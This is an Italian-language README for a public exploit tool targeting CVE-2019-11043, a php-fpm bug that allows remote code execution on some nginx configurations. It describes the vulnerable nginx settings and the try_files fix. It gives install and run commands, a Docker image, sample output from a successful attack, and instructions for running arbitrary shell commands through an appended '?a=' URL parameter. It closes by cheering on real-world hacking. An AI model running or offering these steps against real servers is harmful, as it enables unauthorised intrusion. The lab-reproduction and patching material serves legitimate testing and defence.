
Exploit per CVE-2019-11043
Questa è un exploit per un bug in php-fpm (CVE-2019-11043). In certe configurazioni nginx + php-fpm, il bug può essere innescato dall'esterno. Ciò significa che un utente web può ottenere l'esecuzione di codice se hai una configurazione vulnerabile (vedi sotto).
Mentre eravamo troppo pigri per scrivere un writeup, Orange Tsai ha pubblicato un'analisi perfetta sul suo blog. Complimenti a lui.
Inoltre, le mie slide di ZeroNights 2019 sono disponibili.
Se un webserver esegue nginx + php-fpm e nginx ha una configurazione come
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
che manca anche di qualsiasi controllo di esistenza dello script (come try_files), allora puoi probabilmente attaccarla con questo exploit.
location ~ [^/]\.php(/|$) deve essere inoltrato a php-fpm (forse la regexp può essere più restrittiva, vedi ).PATH_INFO tramite l'istruzione fastcgi_param PATH_INFO $fastcgi_path_info;. Inoltre SCRIPT_FILENAME deve essere impostato usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (potrebbe esserci un percorso costante al posto di $document_root). All'inizio pensavamo che fossero sempre presenti nel file fastcgi_params, ma non è vero.PATH_INFO a un valore vuoto. Questa exploit presuppone che la direttiva fastcgi_split_path_info sia presente e contenga una regexp che inizia con ^ e termina con $, quindi tenta di rompere la regexp con un carattere di newline.PATH_INFO sia impostato dopo REQUEST_URI nella configurazione.try_files $uri =404 o if (-f $uri). Se Nginx scarta le richieste verso script inesistenti prima dell'inoltro FastCGI, le nostre richieste non raggiungono mai php-fpm. Aggiungere questo controllo è anche il modo più semplice per patchare.Molto tempo fa php-fpm non limitava le estensioni degli script, il che significava che qualcosa come /avatar.png/some-fake-shit.php poteva eseguire avatar.png come script PHP. Questo problema è stato corretto intorno al 2010.
Quella attuale non richiede l'upload di file, funziona nelle versioni più recenti (fino a quando la correzione è stata rilasciata) e, cosa più importante, l'exploit è molto più figo.
Installalo usando
go get github.com/neex/phuip-fpizdam
Se ottieni strani errori di compilazione, assicurati di usare go >= 1.13. Esegui il programma con phuip-fpizdam [url] (supponendo che tu abbia $GOPATH/bin dentro $PATH, altrimenti specifica il percorso completo del binario). Un output corretto è simile al seguente:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Dopodiché, puoi iniziare ad aggiungere ?a=<il tuo comando> a tutti gli script PHP (potrebbero servirti più tentativi).
In alternativa, puoi usare una immagine docker per eseguire l'exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Se vuoi riprodurre il problema o giocare con l'exploit localmente tramite Docker, fai quanto segue:
reproducer.docker build -t reproduce-cve-2019-11043 .. Ci vuole molto tempo perché internamente clona il repository di php e lo compila dal sorgente. Tuttavia, sarà più facile in questo modo se vuoi fare debug dell'exploit. La revisione compilata è quella immediatamente precedente alla correzione.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= allo script: http://127.0.0.1:8080/script.php?a=id. Prova più volte poiché solo alcuni worker di php-fpm sono infetti.Se vuoi riprodurre il problema o giocare con l'exploit localmente tramite LXD, fai quanto segue:
vulnerable e attacker. Puoi usare l'immagine del container ubuntu:18.04 per entrambi i container.vulnerable, installa nginx e php-fpm. Configura il server block come questa configurazione. Crea un file vuoto /var/www/html/index.php.attacker, installa il linguaggio Go (sudo snap install go --classic), clona questo repository ed esegui go build nella directory del repository../phuip-fpizdam http://vulnerable.lxd/index.php. Prova più tipi per infettare tutti i worker di php-fpm.Per istruzioni più dettagliate, vedi Test di CVE-2019-11043 (vulnerabilità di sicurezza di php-fpm) con container di sistema LXD.
Il buffer underflow in php-fpm è presente in PHP versione 5. Tuttavia, questa exploit fa uso di un'ottimizzazione usata per memorizzare le variabili FastCGI, _fcgi_data_seg. Questa ottimizzazione è presente solo in php 7, quindi questa particolare exploit funziona solo con php 7. Potrebbe esserci un'altra tecnica di sfruttamento che funziona con php 5.
L'anomalia originale è stata scoperta da d90pwn durante la Real World CTF. La causa principale è stata trovata da me (Emil Lerner) così come il modo per impostare le opzioni di php.ini. Il set finale di opzioni php.ini è stato trovato da beched.
Questa exploit è distribuita secondo i termini della Licenza MIT.
Astieniti dal causare danni con questa exploit. Ma se davvero hackerai qualcosa con questa cosa, sarò felice.